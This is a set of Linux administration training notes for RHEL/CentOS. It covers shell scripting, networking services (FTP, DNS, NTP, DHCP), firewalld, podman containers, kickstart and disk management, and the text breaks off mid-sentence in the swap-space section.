-rwx rwx rwt - Please note that these bits work on c programming executables not on bash shell scripts ## Module 6 - Shell Scripting ### Linux Kernal - What is a Kernel? > - interface between hardware and software ![linux kernel](_images/linux-kernel.png) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/1-Linux+Kernel.pdf) ### Introduction to Shell - What is a Shell? > - it's like a container > - Interface between users and Kernel/OS > - CLI is a Shell - FInd your Shell > - echo \$0 > - Available Shells "cat /etc/shells" > - Your Shell? /etc/passwd - Windows GUI is a shell - Linux KDE GUI is a shell - Linux sh, bash etc. is a shell [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/2-What+is+a+Shell.pdf) ### Types of Shells - Gnome - KDE - sh - bash - csh and tcsh - ksh ### Shell Scripting - What is a Shell Script? > - A shell script is an executable file containing multiple shell commands that are executed sequentially. THe file can contain: > > > - Shell (#!/bin/bash) > > - Comments (# comments) > > - Commands (echo, cp, grep, etc.) > > - Statements (if, while, for, etc.) - Shell script should have executable permissions (eg. -rwx r-x r-x) - Shell script has to be called from absolute path (eg. /home/userdir/script.bash) - If called from current location then ./script.bash [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/3-Unix+Shell+Scripting.pdf) ### Basic Shell Scripts - Output to screen using "echo" - Creating tasks > - Telling your id, current location, your files/directories, system info > - Creating directories and files > - Output to a file "\>" - FIlters/Text processors through scripts (cut, awk, grep, sort, uniq, wc) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/4-Basic+Shell+Scripts.pdf) ### Input/Output - Create script to take input from the user > - read > - echo ### if-then Scripts - If then statement > - If this happens = do this > - Otherwise = do that [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/7-if-then+Scripts.pdf) ### For Loop Scripts - For loops > - Keep running until specified number variable > - Variable = blue, red, green (then run the script 3 times for each color) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/5-for+loop+Scripts.pdf) ### do-while Scripts - do while > - the while statement continually executes a block of statements while a particular condition is true or met > - eg. run a script untl 2pm [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/6-do-while+Scripts.pdf) ### Case Statement Scripts - case > - If option a is selected = do this > - If option b is selected = do this > - etc. [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/8-case+Scripts.pdf) ### Check Remote Servers Connectivity ``` bash #!/bin/bash ping -c1 192.168.1.1 if [ $? -eq 0 ] then echo OK else echo NOT OK fi ###Change the IP to 192.168.1.235 ###Don't show the output ping -c1 192.168.1.1 &> /dev/null if [ $? -eq 0 ] then echo OK else echo NOT OK fi ###Define variable #!/bin/bash hosts="192.168.1.1" ping -c1 $hosts &> /dev/null if [ $? -eq 0 ] then echo $hosts OK else echo $hosts NOT OK fi ###Change the IP to 192.168.1.235 ###Multiple IPs #!/bin/bash IPLIST="path_to_the_Ip_list_file" for ip in $(cat $IPLIST) do ping -c1 $ip &> /dev/null if [ $? -eq 0 ] then echo $ip ping passed else echo $ip ping failed fi done ``` ### Aliases - Aliases is a very popular command that is used to cut down on lengthy and repetitive commands > - `alias ls="ls -al"` > - `alias pl="pwd; ls"` > - `alias tell="whoami; hostname; pwd"` > - `alias dir="ls -l \| grep ^d"` > - `alias lmar="ls -l \| grep Mar"` > - `alias wpa="chmod a+w"` > - `alias d="df -h \| awk '{print $6}' \| cut -c1-4"` [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/9-Aliases.pdf) ### Creating User or Global Aliases - User = Applies only to a specific user profile - Global = Applies to everyone who has account on the system - User = /home/user/.bashrc - Global = /etc/bashrc ### Shell History - command `history` - The file where history of your shell commands saved = /home/yourname/.bash_history ## Module 7 - Networking, Services and System Updates ![Depreciated+Linux+commands+and+replacement](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/Depreciated+Linux+commands+and+replacement.JPG) [Storage Administration Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/15-Red-Hat-Enterprise-Linux-7-Storage-Administration-Guide-en-US.pdf) [Yum Cheat Sheet](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/yum+command+cheatsheet.pdf) ### Internet Access to VM - Open Virtualbox Manager - Select the machine you cannot get internet on in the left pane - Click the Settings button in the top menu - Click Network in the left pane in the settings window - Switched to Bridged Adaptor in the Attached to drop-down menu \* Hit OK to save your changes - Start your VM ### Network Components - IP - Subnet mask - Gateway - Static vs. DHCP - Interface - Interface MAC. ### Network Files and Commands - Interface Detection - Assigning an IP address - Interface configuration files > - /etc/nsswitch.conf > - /etc/hostname > - /etc/sysconfig/network > - /etc/sysconfig/network-scripts/ifcfg-nic > - /etc/resolv.conf - Network Commands > - `ping` > - `ifconfig` > - `ifup` or `ifdown` > - `netstat` > - `tcpdump` [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/1-Networking.pdf) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/2-Network+Related+Utilities.pdf) ### NIC Information NIC = Network Interface Card Example: `ethtool enp0s3` Other NICs - lo = The loopback device is a special interface that your computer uses to communicate with itself. It is used mainly for diagnostics and troubleshooting, and to connect to servers running on the local machine - virb0 = The virbr0, or "Virtual Bridge 0" interface is used for NAT (Network Address Translation). Virtual environments sometimes use it to connect to the outside network ### NIC Bonding - NIC(Network Interface Card) bonding is also known as Network bonding. It can be defined as the aggregation or combination of multiple NIC into a single bond interface. - Its main purpose is to provide high availability and redundancy [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/6-Creating+NIC+Bonding.pdf) ### NIC Bonding Procedure - modprobe bonding - modinfo bonding - Create /etc/sysconfig/network-scripts/ifcfg-bond0 - Edit /etc/sysconfig/network-scripts/ethernet1 - Edit /etc/sysconfig/network-scripts/ethernet2 - Restart network = systemctl restart network ### Net Network Utilities - Getting started with NetworkManager - Network configuration methods > - nmtui > - nmcli > - nm-connection-editor > - GNOME Settings. - Getting started with NetworkManager > - NetworkManager is a service that provides set of tools designed specifically to make it easier to manage the networking configuration on Linux systems and is the default network management service on RHEL 8 > - It makes network management easier > - It provides easy setup of connection to the user > - NetworkManager offers management through different tools such as GUI, nmtui, and nmcli. - Network configuration methods > - nmcli - Short for network manager command line interface. This tool is useful when access to a graphical environment is not available and can also be used within scripts to make network configuration changes > - nmtui - Short for network manager text user interface. This tool can be run within any terminal window and allows changes to be made by making menu selections and entering data > - nm-connection-editor - A full graphical management tool providing access to most of the NetworkManager configuration options. It can only be accessed through the desktop or console > - GNOME Settings - The network screen of the GNOME desktop settings application allows basic network management tasks to be performed ### System Updates and Repos - yum (CentOS), apt-get (other Linux) - rpm (Redhat Package Manager) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/7-Linux_yum_command_cheatsheet.pdf) ### Advanced Package Management - Installing packages - Upgrading - Deleting - View package details information - Identify source or location information - Packages configuration files ### Download Files or Apps - Linux = wget - Example in Linux: > - wget - Why??? Most of the servers in corporate environment do NOT have internet access ### curl and ping Commands - Linux = curl - Linux = ping - Example in Linux: > - curl > - curl -O > - ping www.google.com ### FTP - File Transfer Protocol - The File Transfer Protocol is a standard network protocol used for the transfer of computer files between a client and server on a computer network. FTP is built on a client-server model architecture using separate control and data connections between the client and the server. (Wikipedia) - Protocol = Set of rules used by computers to communicate - Default FTP Port = 21 - Install and Configure FTP on the remote server ``` bash # Become root #rpm–qa|grepftp # ping www.google.com # yum install vsftpd # vi /etc/vsftpd/vsftpd.conf (make a copy first) ## Find the following lines and make the changes as shown below: ## Disable anonymous login ## anonymous_enable=NO ## Uncomment ## ascii_upload_enable=YES ascii_download_enable=YES ## Uncomment - Enter your Welcome message - This is optional ## ftpd_banner=Welcome to UNIXMEN FTP service. ##Addattheendofthis file## use_localtime=YES # systemctl start vsftpd # systemctl enable vsftpd # systemctl stop firewalld # systemctl disable firewalld # useradd caleb (if the user does not exist). ``` - Install FTP client on the client server ``` bash # Become root # yum install ftp # su – caleb touch caleb ``` - Commands to transfer file to the FTP server: ``` bash ftp 192.168.1.x Enter username and password bi hash put caleb bye. ``` ### SCP - Secure Copy Protocol - The Secure Copy Protocol or “SCP” helps to transfer computer files securely from a local to a remote host. It is somewhat similar to the File Transfer Protocol “FTP”, but it adds security and authentication - Protocol = Set of rules used by computers to communicate - Default SCP Port = 22 (same as SSH) - SCP commands to transfer file to the remote server: - Login as yourself (caleb) - touch jack - scp jack :/home/caleb \* Enter username and password [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/16-SCP+examples.pdf) ### rsync - Remote Synchronization - rsync is a utility for efficiently transferring and synchronizing files within the same computer or to a remote computer by comparing the modification times and sizes of files - rsync is a lot faster than ftp or scp - This utility is mostly used to backup the files and directories from one server to another - Default rsync Port = 22 (same as SSH) - Basic syntax of rsync command > - \# rsync options source destination - Install rsync in your Linux machine (check if it already exists) > - \# yum install rsync (On CentOS/Redhat based systems) > - \# apt-get install rsync (On Ubuntu/Debian based systems) - rsync a file on a local machine > - \$ tar cvf backup.tar . (tar the entire home directory (/home/caleb) > - \$ mkdir /tmp/backups > - \$ rsync -zvh backup.tar /tmp/backups/ - rsync a directory on a local machine > - \$ rsync -azvh /home/caleb /tmp/backups/ - rsync a file to a remote machine > - \$ mkdir /tmp/backups (create /tmp/backups dir on remote server) > - \$ rsync -avz backup.tar :/tmp/backups - rsync a file from a remote machine > - \$ touch serverfile > - \$ rsync -avzh :/home/caleb/serverfile /tmp/backups ### System Upgrade/Patch Management - Two type of upgrades > - Major version = 5,6,7 > - Minor version = 7.3, 7.4 - example: `yum update -y` ### Create Local Repository - Command: `createrepo` [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/12-Create+local+repository-old.pdf) [more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/13-Creating+Local+Yum+Repo.pdf) ### SSH and Telnet - Telnet = Un-secured connection between computers - SSH = Secured - Two type of packages for most of the services > - Client package > - Server package ### SSH Without a Password - SSH is a secure way to login from host A to host B - Repetitive tasks require login without a password [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/14-SSH+without+a+Password.pdf) ### DNS - Domain Name System - Purpose? > - Hostname to IP (A Record) > - IP to Hostname (PTR Record) > - Hostname to Hostname (CNAME Record) - Files > - /etc/named.conf > - /var/named - Service > - systemctl restart named [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/3-DNS.pdf) ### Download, Install and Configure DNS - Create a snapshot of your virtual machine - Setup: > - Master DNS > - Secondary or Slave DNS > - Client - Domain Name = lab.local - IP address = My local IP address on enp0s3 - Install DNS package > - yum install bind bind-utils –y - ConfigureDNS(Summary) > - Modify /etc/named.conf > - Create two zone files (forward.lab and reverse.lab) > - Modify DNS file permissions and start the service - Revert back to snapshot ### Hostname/IP Lookup - Commands used for DNS lookup > - `nslookup` > - `dig` ### NTP - Purpose? Time synchronization - File = /etc/ntp.conf - Service = systemctl restart ntpd - Command = `ntpq` [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/4-NTP.pdf) ### chronyd - Purpose? = Time synchronization - Package name = chronyd - Configuration file = /etc/chronyd.conf - Log file = /var/log/chrony - Service = systemctl start/restart chronyd - Program command = chronyd. ### New System Utility Command (timedatectl) - The timedatectl command is a new utility for RHEL/CentOS 7/8 based distributions, which comes as a part of the systemd system and service manager - It is a replacement for old traditional date command - Thetimedatectl command shows/change date, time, and timezone - It synchronizes the time with NTP server as well > - You can either use chronyd or ntpd and make the ntp setting in timedatectl as yes > - Or you can use systemd-timesyncd daemon to synchronize time which is a replacement for ntpd and chronyd - Please note: > - Redhat/CentOS does not provide this daemon in its standard repo. You will have to download it separately. - To check time status > - timedatectl - To view all available time zones > - timedatectl list-timezones - To set the time zone > - timedatectl set-timezone “America/New_York“ - To set date > - timedatectl set-time YYYY-MM-DD - To set date and time > - timedatectl set-time '2015-11-20 16:14:50' - To start automatic time synchronization with a remote NTP server > - timedatectl set-ntp true. ### Sendmail - Purpose? Send and receive emails - Files > - /etc/mail/sendmail.mc > - /etc/mail/sendmail.cf > - /etc/mail - Service > - systemctl restart sendmail - Command > - mail –s “subject line” - Sendmail is a program in Linux operating systems that allows systems administrator to send email from the Linux system - It uses SMTP (Simple Mail Transfer Protocol) - SMTP port = 25 - It attempts to deliver the mail to the intended recipient immediately and, if the recipient is not present, it queues messages for later delivery. - Sendmail installation and configuration > - \# su – (Login as root) > - \# rpm –qa \| grep sendmail (verify if it is already installed) \* \# yum install sendmail sendmail-cf > - \# vi /etc/mail/sendmail.mc > - \# systemctl start sendmail > - \# systemctl enable sendmail > - \# systemctl stop firewalld > - \# systemctl disable firewalld ### Web Server - Purpose= Serve web pages - Service or Package name = httpd - Files > - /etc/httpd/conf > - /httpd.conf > - /var/www/html/index.html - Service > - systemctl restart httpd > - systemctl enable httpd - Log Files = /var/log/httpd/ ### Central Logger (rsyslog) - Purpose = Generate logs or collect logs from other servers - Service or package name = rsyslog - Configuration file = /etc/syslog.conf - Service > - systemctl restart rsyslog > - systemctl enable rsyslog ### Network File System - Purpose = Share files or directories (filesystem) - Service or package name = nfs-utils - Configuration file > - /etc/fstab > - /etc/exports > - /etc/sysconfig/nfs - Service > - systemctl restart nfs-server > - systemctl enable nfs-server ### Linux OS Hardening - User Account - Remove un-wanted packages - Stop un-used Services - Check on Listening Ports - Secure SSH Configuration - Enable Firewall (iptables/firewalld) - Enable SELinux - Change Listening Services Port Numbers - Keep your OS up to date (security patching) [Security Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/8-RHEL-7-Security_Guide-en-US.pdf) [SELinux Users and Administrators Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/9-RHEL-7-SELinux_Users_and_Administrators_Guide-en-US.pdf) [Networking Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/10-Red_Hat_Enterprise_Linux-7-Networking_Guide-en-US.pdf) [OS Hardening](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/11-OS+Hardening.pdf) ### OpenLDAP Installation - What is OpenLDAP? - OpenLDAP Service > - slapd - Start or stop the service > - systemctl start slapd > - systemctl enable slapd - Configuration Files > - /etc/openldap/slapd.d ### Trace Network Traffic (traceroute) - The traceroute command is used in Linux to map the journey that a packet of information undertakes from its source to its destination. One use for traceroute is to locate when data loss occurs throughout a network, which could signify a node that's down. - Because each hop in the record reflects a new server or router between the originating PC and the intended target, reviewing the results of a traceroute scan also lets you identify slow points that may adversely affect your network traffic. - Example > - \# traceroute www.google.com ### SSH Keys - Two reasons to access a remote machine > - Repetitive logins > - Automation through scripts - Keys are generated at user level - Step 1 — Generate the Key > - \# ssh-keygen - Step 2 — Copy the Key to the server > - \# ssh-copy-id - Step 3 — Login from client to server \# ssh > - \# ssh –l root 192.168.1.x ### Cockpit - Cockpit is a server administration tool sponsored by Red Hat, focused on providing a modern-looking and user-friendly interface to manage and administer servers - Cockpit is the easy-to-use, integrated, glanceable, and open web-based interface for your servers - The application is available in most of the Linux distributions such as, CentOS, Redhat, Ubuntu and Fedora - It is installed in Redhat 8 by default and it is optional in version 7 - It can monitor system resources, add or remove accounts, monitor system usage, shut down the system and perform quite a few other tasks all through a very accessible web connection - Check for network connectivity - ping www.google.com - Install cockpit package as root - yum/dnf install cockpit –y (For RH or CentOS) - apt-get install cockpit (For Ubuntu) - Start and enable the service > - systemctl start\|enable cockpit - Check the status of the service > - systemctl status cockpit - Access the web-interface > - [Managing systems using the RHEL 8 web console](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/Red_Hat_Enterprise_Linux-8-Managing_systems_using_the_RHEL_8_web_console-en-US.pdf) ### Firewall - What is Firewall > - A wall that prevents the spread of fire > - When data moves in and out of a server its packet information is tested against the firewall rules to see if it should be allowed or not > - In simple words, a firewall is like a watchman, a bouncer, or a shield that has a set of rules given and based on that rule they decide who can enter and leave > - There are 2 type of firewalls in IT > - Software = Runs on operating system > - Hardware = A dedicated appliance with firewall software ![linux firewall](_images/linux-firewall.png) - Firewalld works the same way as iptables but of course it has it own commands > - firewall-cmd - It has a few pre-defined service rules that are very easy to turn on and off > - Services such as: NFS, NTP, HTTPD etc. - Firewalld also has the following: > - Table > - Chains > - Rules > - Targets - You can run one or the other > - iptables or firewalld - Make sure iptables is stopped, disabled and mask > - systemctl stop iptables > - systemctl disable iptables > - systemctl mask iptables - Now check if filewalld package is installed > - rpm –qa \| grep firewalld - Start firewalld > - systemctl start/enable firewalld - Check the rule of firewalld > - firewall-cmd --list-all - Get the listing of all services firewalld is aware of: > - firewall-cmd --get-services - To make firewalld re-read the configuration added > - firewall-cmd --reload - The firewalld has multiple zone, to get a list of all zones > - firewall-cmd --get-zones - To get a list of active zones > - firewall-cmd --get-active-zones - To get firewall rules for public zone > - firewall-cmd --zone=public --list-all > - firewall-cmd --list-all - All services are pre-defined by firewalld. What if you want to add a 3rd party service > - /usr/lib/firewalld/services/allservices.xml > - Simply cp any .xml file and change the service and port number ![linux firewall](_images/linux-firewall-2.png) - To add a service (http) > - firewall-cmd --add-service=http - To remove a service > - firewall-cmd --remove-service=http - To reload the firewalld configuration > - firewall-cmd --reload - To add or remove a service permanently > - firewall-cmd --add-service=http --permanent > - firewall-cmd --remove-service=http --permanent - To add a service that is not pre-defined by firewalld > - /usr/lib/firewalld/services/allservices.xml > - Simply cp any .xml file sap.xml and change the service and port number (32) > - systemctl restart firewalld > - firewall-cmd --get-services (to verify new service) > - Firewall-cmd --add-service=sap - To add a port > - firewall-cmd --add-port=1110/tcp - To remove a port > - firewall-cmd --remove-port=1110/tcp - To reject incoming traffic from an IP address > - firewall-cmd --add-rich-rule='rule family="ipv4" source address=“192.168.0.25" reject' - To block and unblock ICMP incoming traffic > - firewall-cmd --add-icmp-block-inversion > - firewall-cmd --remove-icmp-block-inversion - To block outgoing traffic to a specific website/IP address > - host -t a www.facebook.com = find IP address > - firewall-cmd --direct --add-rule ipv4 filter OUTPUT 0 -d 31.13.71.36 -j DROP ### Tune System Performance Linux system comes fined tunned by default when you install, however there are a few tweaks that can be done based on system performance and application requirements - Optimize system performance by selecting a tuning profile managed by the tuned daemon - Prioritize or de-prioritize specific processes with the nice and renice commands - What is tuned? > - Tuned pronounced as tune-d > - Tune is for system tuning and d is for daemon > - It is systemd service that is used to tune Linux system performance > - It is installed in CentOS/Redhat version 7 and 8 by default > - tuned package name is tuned > - The tuned service comes with pre-defined profiles and settings (List of profile will be discussed in the next page) > - Based on selected profile the tuned service automictically adjust system to get the best performance. E.g. tuned will adjust networking if you are downloading a large file or it will adjust IO settings if it detects high storage read/write > - The tuned daemon applies system settings when the service starts or upon selection of a new tuning profile. ![linux tuned](_images/linux-tuned.png) - Check if tuned package has been installed > - rpm –qa \| grep tuned - Install tuned package if NOT installed already > - yum install tuned - Check tuned service status > - systemctl statusstart tuned > - systemctl enable tuned (To enable at boot time) - Command to change setting for tuned daemon > - tuned-adm - To check which profile is active > - tuned-adm active - To list available profiles > - tuned-adm list. - To change to desired profile - tuned-adm profile profile-name - Check for tuned recommendation tuned-adm recommend - Turn off tuned setting daemon tuned-adm off - Change profile through web console > - Login to > - Overview → Configuration → Performance profile - Another way of keeping your system fine-tuned is by prioritizing processes through nice and renice command - If a server has 1 CPU then it can execute 1 computation/process at a time as they come in (first come first served) while other processes must wait - With nice and renice commands we can make the system to give preference to certain processes than others - This priority can be set at 40 different levels - The nice level values range from -20 (highest priority) to 19 (lowest priority) and by default, processes inherit their nice level from their parent, which is usually 0. - To check process priority = top ![linux tuned](_images/linux-tuned-2.png) Nice value is a user-space and priority PR is the process's actual priority that use by Linux kernel. In Linux system priorities are 0 to 139 in which 0 to 99 for real time and 100 to 139 for users - Process priority can be viewed through ps command as well with the right options \$ ps axo pid,comm,nice,cls --sort=-nice - To set the process priority > - nice –n \# process-name > - e.g. nice –n -15 top - To change the process priority renice –n \# process-name > - e.g. renice –n 12 PID. [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/5-rpm+command.pdf) ### Containers **What is a Container?** - The term container and the concept came from the shipping container - These containers are shipped from city to city and country to country - No matter which part of the world you go to, you will find these containers with the exact same measurements - Because around the world all docks, trucks, ships and warehouses are built to easily transport and store them - Then came the container technology which allowed developers or programmer to test and build applications on any computer just by putting it in a container (bundled in with the software code, libraries and configuration files) and then run on another computer regardless of its architecture - You can move the application anywhere without moving its OS just like moving the actual physical container anywhere that would fit on any dockyard, truck, ship or warehouse - An OS can run single or multiple containers at the same time **What are the Container Software?** - Docker is the software used to create and manage containers - Just like any other package, docker can be installed on your Linux system and its service or daemon can be controlled through native Linux service management tool - Podman is an alternative to docker - Docker is not supported in RHEL 8 - It is daemon less, open source, Linux-native tool designed to develop, manage, and run containers. **Getting Familiar with Redhat Container Technology** Red Hat provides a set of command-line tools that can operate without a container engine, these include: - podman - for directly managing pods and container images (run, stop, start, ps, attach, etc.) - buildah - for building, pushing, and signing container images - skopeo - for copying, inspecting, deleting, and signing images - runc - for providing container run and build features to podman and buildah - crun - an optional runtime that can be configured and gives greater flexibility, control, and security for rootless containers. **Getting Familiar with podman Container Technology** When you hear about containers then you should know the following terms as well - images – containers can be created through images and containers can be converted to images - pods – Group of containers deployed together on the host. In the podman logo there are 3 seals grouped together as a pod. **Building, Running, and Managing Containers** - To install podman > - yum/dnf install podman –y > - yum install docker –y (For dockers) - Creating alias to docker - alias docker=podman Check podman version > - podman –v - Getting help > - podman -–help or man podman - Check podman environment and registry/repository information > - podman info (If you are trying to load a container image, then it will look at the local machine and then go through each registry by the order listed) - To search a specific image in repository. > - podman search httpd - To list any previously downloaded podman images > - podman images - To download available images > - podman pull docker.io/library/httpd > - podman images (Check downloaded image status) - To list podman running containers > - podman ps - To run a downloaded httpd containers > - podman run -dt -p 8080:80/tcp docker.io/library/httpd (d=detach, t=get the tty shell, p=port) > - podman ps or Check httpd through web browser - To view podman logs. > - podman logs –l - To stop a running container > - podman stop con-name (con-name from podman ps command) > - podman ps (To list running containers) - To run a multiple containers of httpd by changing the port \# > - podman run -dt -p 8081:80/tcp docker.io/library/httpd > - podman run -dt -p 8082:80/tcp docker.io/library/httpd > - podman ps - To stop and start a previously running container > - podman stop\|start con-name - To create a new container from the downloaded image > - podman create –-name httpd-con docker.io/library/httpd - To start the newly created container. > - podman start httpd-con Manage containers through systemd > - First you have to generate a unit file > > > - podman generate systemd –-new –-files –-name httpd-con - Copy it systemd directory > - cp /root/container-httpd.service /etc/systemd/system - Enable the service > - systemctl enable container-httpd-con.service - Start the service. > - systemctl start container-httpd-con.service ### Kickstart - Kickstart is a method to automate the Linux installation without the need for any intervention from the user - With the help of kickstart you can automate questions that are asked during the installation. e.g. > - Language and time zone > - How the drives should be partitioned > - Which packages should be installed etc. - To use Kickstart, you must: > 1. Choose a Kickstart server and create/edit a Kickstart file > 2. Make the Kickstart file available on a network location > 3. Make the installation source available > 4. Make boot media available for client which will be used to begin the installation > 5. Start the Kickstart installation - CentOS/Redhat 7 > - Kickstart program can be downloaded which allows you to define parameters through the GUI > > > - yum install system-config-kickstart > > - Or you can use the installation kickstart file which was created during the first installation (anaconda-ks.cfg) - CentOS/Redhat 8 > - There is no GUI available to edit the file - Why changed? > - Most systems are virtual and templates can be used > - Automation software are in used such as Anisble. - Step by step procedure for Kickstart > 1. Identify the server > > 2. Takeasnapshotoftheserver > > 3. Installkickstartconfigurator(forversion7) > > > - yum install system-config-kickstart > > 4. Start the kickstart file configurator and define parameters OR use the /root/anaconda-ks.cfg > > > - system-config-kickstart (To start the configurator) > > - We will use anaconda installation kickstart file andc hange the hostname only > > 5. Make sure httpd package is installed, if not then install the package and start the httpd service > > > - rpm –qa \| grep http > > - yum/dnf install httpd > > - systemctl start httpd > > - systemctl enable httpd. > > 6. Copy kickstart file to httpd directory and change the permissions > > > - cp /root/anaconda-ks.cfg /var/www/html > > - chmod a+r /var/www/html/anaconda-ks.cfg > > - systemctl stop\|disable firewalld > > - Check file through browser on another PC > > 7. Create a new VM and attach the CentOS iso image > > 8. Change the network adapter to Bridged adapter > > 9. Hit Esc > > 10. boot: linux ks=http://192.168.1.x/anaconda-ks.cfg > > > - For NFS → boot: linux inst.ks=nfs:192.168.1.x:/rhel8 > > 11. Wait and enjoy the automated installation **Kickstart for clients with static IP** boot: linux ks=http://server.example.com/ks.cfg ksdevice=eth0 IP:192.168.1.50 netmask=255.255.255.0 gateway=192.168.1.1 - Where: > - ksdevice = is the network adapter of the client > - IP = IP you are assigning to the client > - netmask =Subnetmaskfortheclient > - gateway = Gateway IP address for the client ### DHCP - DHCP stands for Dynamic Host Configuration Protocol - In order to communicate over the network, a computer needs to have an IP address - DHCP server is responsible to automatically assign IP addresses to servers, laptops, desktops, and other devices on the network - Step by steps instructions > - Assign a static IP to the DHCP server > - vi /etc/sysconfig/network/enp0s3 > - Or simply run nmtui command to use GUI based network tool - Install dhcp server package > - yum install dhcp (version 7) > - dnf install dhcp-server (version 8) - Edit the configuration file with desired parameters > - vi /etc/dhcp/dhcp.conf > - cp /usr/share/doc/dhcp-x.x.x/dhcpd.conf.example /etc/dhcp/dhcpd.conf ![linux dhcp](_images/linux-dhcp.png) - Start dhcpd service > - systemctl start dhcpd > - systemctl enable dhcp - Disable firewalld or allow dhcp port over firewall > - systemctl stop firewalld > - OR > - firewall-cmd --add-service=dhcp –permanent > - firewall-cmd –reload - Switch DHCP service from your router/modem to your new DHCP server - Login to your ISP provided router - Disable dhcp and enable forwarding to the new dhcp server. ## Module 8 - Disk Management and Run Levels [Overview of Systemd RHEL7](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/7-Overview-of-systemd-for-RHEL-7.pdf) [Storage Admin Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/10-Red_Hat_Enterprise_Linux-7-Storage_Administration_Guide-en-US.pdf) [System Admin Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/11-RedHat_Enterprise_Linux-7-System_Administrators_Guide.pdf) [RHEL8 Basic System Settings](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/15-Red_Hat_Enterprise_Linux-8-Configuring_basic_system_settings-en-US.pdf) [Linux Boot Sequence](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/Linux+Boot+Sequence.pdf) ### System Run Level - System Run Levels Main Run level > - 0 = Shut down (or halt) the system > - 1 = Single-user mode; usually aliased as s or S > - 6 =Reboot the system Other Run levels > - 2 = Multiuser mode without networking > - 3 = Multiuser mode with networking > - 5 = Multiuser mode with networking and GUI. [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/1-System+Run+Level.pdf) ### Linux Boot Process ![linux boot process](_images/linux-boot-process.png) - The boot sequence changes in CentOS/Redhat 7 and above - systemd is the new service manager in CentOS/RHEL 7 that manages the boot sequence - It is backward compatible with SysV init scripts used by previous versions of RedHat Linux including RHEL 6 - Every system administrator needs to understand the boot process of an OS in order to troubleshoot effectively ![linux boot process](_images/linux-boot-process-2.png) ### Message of the Day - File location: > - /etc/motd - Once again, message of the day is the first message users will see when they login to the Linux machine - Steps: > - Create a new file in /etc/profile.d/motd.sh > > - Add desired commands in motd.sh file > > - Modify the /etc/ssh/sshd_config file to edit > > > - \#PrintMotd yes to PrintMotd no > > - Restart sshd service > > > - systemctl restart sshd.service [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/8-Customizing-MOTD.pdf) ### Disk Partition - Commands for disk partition > - df > - fdisk - Purpose? = Out of Space, Additional Apps etc. [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/2-Partitioning+a+Disk.pdf) [more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/3-Mount+Disk+Partitions.pdf) ### Computer Storage - LocalStorage > - RAM,HDD,SSD,etc. - DAS(DirectAttachedStorage) > - CD/DVD, USB flash drive, external disk directly attached with USB or other cables - SAN(StorageAreaNetwork) > - Storage attached through iSCSI or fiber cable - NAS(NetworkAttachedStorage) > - Storage attached over network (TCP/IP) > - E.g.Samba,NFSetc. ### Logical Volume Management (LVM) - LVM allows disks to be combined together ![linux lvm](_images/linux-lvm.png) ![linux lvm](_images/linux-lvm-2.png) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/4-Adding+Disk+and+Create+LVM+Partition.pdf) [more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/5-Extend+LVM.pdf) ### Add/Extend Swap Space - What is swap? – CentOS.org > - Swap space in Linux is used when the amount of physical memory (RAM) is full. If the system needs more memory resources and the RAM is full, inactive pages in memory are moved to the swap space. While swap space can help machines with a small amount of RAM, it should not be considered a replacement for more RAM. Swap space is located on hard drives, which have a slower access time than physical memory - Recommended swap size = 